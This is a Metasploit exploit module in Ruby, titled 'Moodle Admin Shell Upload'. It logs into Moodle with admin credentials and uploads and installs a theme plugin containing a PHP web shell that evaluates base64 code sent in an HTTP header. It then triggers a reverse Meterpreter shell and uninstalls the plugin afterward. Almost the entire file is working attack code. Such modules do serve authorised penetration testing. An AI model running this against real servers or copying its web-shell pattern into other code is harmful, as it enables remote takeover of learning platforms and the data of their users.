245 lines
8.9 KiB
Ruby
245 lines
8.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HTTP::Moodle
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Moodle Admin Shell Upload',
|
|
'Description' => %q{
|
|
This module will generate a plugin which can receive a malicious
|
|
payload request and upload it to a server running Moodle
|
|
provided valid admin credentials are used. Then the payload
|
|
is sent for execution, and the plugin uninstalled.
|
|
|
|
You must have an admin account to exploit this vulnerability.
|
|
|
|
Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
|
|
'h00die' # msf module cleanup and inclusion
|
|
],
|
|
'References' => [
|
|
['URL', 'http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html'],
|
|
['EDB', '46775'],
|
|
['CVE', '2019-11631'] # rejected, its a feature!
|
|
],
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [['Automatic', {}]],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2019-04-28',
|
|
'DefaultTarget' => 0,
|
|
'Payload' => {
|
|
'BadChars' => "'",
|
|
'Default' => 'php/meterpreter/reverse_tcp'
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [true, 'Admin username to authenticate with', 'admin']),
|
|
OptString.new('PASSWORD', [false, 'Admin password to authenticate with', ''])
|
|
]
|
|
)
|
|
end
|
|
|
|
def create_plugin_file
|
|
# There are syntax errors in creating zip file. So the payload was sent as base64.
|
|
plugin_file = Rex::Zip::Archive.new
|
|
@header = Rex::Text.rand_text_alpha_upper(4)
|
|
@plugin_name = Rex::Text.rand_text_alpha_lower(8)
|
|
|
|
print_status("Creating plugin named: #{@plugin_name}")
|
|
|
|
path = "#{@plugin_name}/version.php"
|
|
path2 = "#{@plugin_name}/lang/en/theme_#{@plugin_name}.php"
|
|
# "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin.
|
|
plugin_file.add_file(path, "<?php $plugin->version = #{Time.now.to_time.to_i}; $plugin->component = 'theme_#{@plugin_name}';")
|
|
plugin_file.add_file(path2, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
|
|
# plugin_file.add_file(path2, "<?php #{payload.encoded}) ?>")
|
|
plugin_file.pack
|
|
end
|
|
|
|
def exec_code
|
|
# Base64 was encoded in "PHP". This process was sent as "HTTP headers".
|
|
print_status('Triggering payload')
|
|
send_request_cgi({
|
|
'keep_cookies' => true,
|
|
'uri' => normalize_uri(target_uri.path, 'theme', @plugin_name, 'lang', 'en', "theme_#{@plugin_name}.php"),
|
|
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
|
|
})
|
|
end
|
|
|
|
def upload
|
|
print_status('Getting variables required for upload')
|
|
res = send_request_cgi!(
|
|
'keep_cookies' => true,
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php')
|
|
)
|
|
|
|
@sesskey = res.body.split('"sesskey":"')[1].split('"')[0] # fetch session info
|
|
@itemid = res.body.split('amp;itemid=')[1].split('&')[0] # fetch item for upload
|
|
@author = res.body.split('title="View profile">')[1].split('<')[0] # fetch admin account profile info
|
|
@clientid = res.body.split('client_id":"')[1].split('"')[0] # fetch client info
|
|
|
|
# creating multipart data for the upload plugin file
|
|
pdata = Rex::MIME::Message.new
|
|
pdata.add_part(create_plugin_file, 'application/zip', nil, "form-data; name=\"repo_upload_file\"; filename=\"#{@plugin_name}.zip\"")
|
|
pdata.add_part('', nil, nil, 'form-data; name="title"')
|
|
pdata.add_part(@author, nil, nil, 'form-data; name="author"')
|
|
pdata.add_part('allrightsreserved', nil, nil, 'form-data; name="license"')
|
|
pdata.add_part(@itemid, nil, nil, 'form-data; name="itemid"')
|
|
pdata.add_part('.zip', nil, nil, 'form-data; name="accepted_types[]"')
|
|
if @version < Rex::Version.new('3.9.0')
|
|
pdata.add_part('4', nil, nil, 'form-data; name="repo_id"')
|
|
else
|
|
pdata.add_part('5', nil, nil, 'form-data; name="repo_id"')
|
|
end
|
|
pdata.add_part('', nil, nil, 'form-data; name="p"')
|
|
pdata.add_part('', nil, nil, 'form-data; name="page"')
|
|
pdata.add_part('filepicker', nil, nil, 'form-data; name="env"')
|
|
pdata.add_part(@sesskey, nil, nil, 'form-data; name="sesskey"')
|
|
pdata.add_part(@clientid, nil, nil, 'form-data; name="client_id"')
|
|
pdata.add_part('-1', nil, nil, 'form-data; name="maxbytes"')
|
|
pdata.add_part('-1', nil, nil, 'form-data; name="areamaxbytes"')
|
|
pdata.add_part('1', nil, nil, 'form-data; name="ctx_id"')
|
|
pdata.add_part('/', nil, nil, 'form-data; name="savepath"')
|
|
|
|
print_status('Uploading plugin')
|
|
res = send_request_cgi!({
|
|
'method' => 'POST',
|
|
'data' => pdata.to_s,
|
|
'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
|
|
'keep_cookies' => true,
|
|
'uri' => normalize_uri(target_uri.path, 'repository', 'repository_ajax.php'),
|
|
'vars_get' => {
|
|
'action' => 'upload'
|
|
}
|
|
})
|
|
|
|
unless res.body =~ /draftfile.php/
|
|
fail_with(Failure::NoAccess, 'Something went wrong!')
|
|
end
|
|
print_good("Plugin #{@plugin_name}.zip file successfully uploaded to target!")
|
|
print_status('Attempting to integrate the plugin...')
|
|
@zipfile = res.body.split('draft\/')[1].split('\/')[0]
|
|
end
|
|
|
|
def plugin_integration
|
|
print_status('Integrating plugin')
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
|
|
'keep_cookies' => true,
|
|
'vars_post' => {
|
|
'sesskey' => @sesskey,
|
|
'_qf__tool_installaddon_installfromzip_form' => '1',
|
|
'mform_showmore_id_general' => '0',
|
|
'mform_isexpanded_id_general' => '1',
|
|
'zipfile' => @zipfile,
|
|
'plugintype' => 'theme',
|
|
'rootdir' => '',
|
|
'submitbutton' => 'Install+plugin+from+the+ZIP+file'
|
|
}
|
|
)
|
|
|
|
unless res.body =~ /installzipstorage/
|
|
fail_with(Failure::NoAccess, 'Install not successful')
|
|
end
|
|
print_good('Plugin successfully integrated!')
|
|
storage = res.body.split('installzipstorage=')[1].split('&')[0]
|
|
|
|
send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
|
|
'keep_cookies' => true,
|
|
'vars_post' => {
|
|
'installzipcomponent' => "theme_#{@plugin_name}",
|
|
'installzipstorage' => storage,
|
|
'installzipconfirm' => '1',
|
|
'sesskey' => @sesskey
|
|
}
|
|
)
|
|
end
|
|
|
|
def clean
|
|
print_status('Uninstalling plugin')
|
|
if @version < Rex::Version.new('3.9.0')
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
|
|
'keep_cookies' => true,
|
|
'vars_post' => {
|
|
'cache' => '0',
|
|
'confirmplugincheck' => '0',
|
|
'abortinstallx' => '1',
|
|
'confirmabortinstall' => '1',
|
|
'sesskey' => @sesskey
|
|
}
|
|
})
|
|
else
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
|
|
'keep_cookies' => true,
|
|
'vars_post' => {
|
|
'cache' => '0',
|
|
'confirmrelease' => '1',
|
|
'confirmplugincheck' => '0',
|
|
'abortinstallx' => "theme_#{@plugin_name}",
|
|
'confirmabortinstall' => '1',
|
|
'sesskey' => @sesskey
|
|
}
|
|
})
|
|
end
|
|
end
|
|
|
|
def check
|
|
v = moodle_version
|
|
return CheckCode::Detected('Unable to determine moodle version') if v.nil?
|
|
|
|
# This is a feature, not a vuln, so we assume this to work on 3.0.0+
|
|
# assuming the plugin arch changed before that.
|
|
# > 3.0, < 3.9
|
|
@version = Rex::Version.new(v)
|
|
if @version > Rex::Version.new('3.0.0')
|
|
return CheckCode::Appears("Exploitable Moodle version #{v} detected")
|
|
end
|
|
|
|
CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
|
|
end
|
|
|
|
def exploit
|
|
print_status("Authenticating as user: #{datastore['USERNAME']}")
|
|
cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
|
|
fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?
|
|
cookies.each do |cookie|
|
|
cookie_jar.add(cookie)
|
|
end
|
|
|
|
print_good("Authentication was successful with user: #{datastore['USERNAME']}")
|
|
upload
|
|
plugin_integration
|
|
exec_code
|
|
clean
|
|
end
|
|
end
|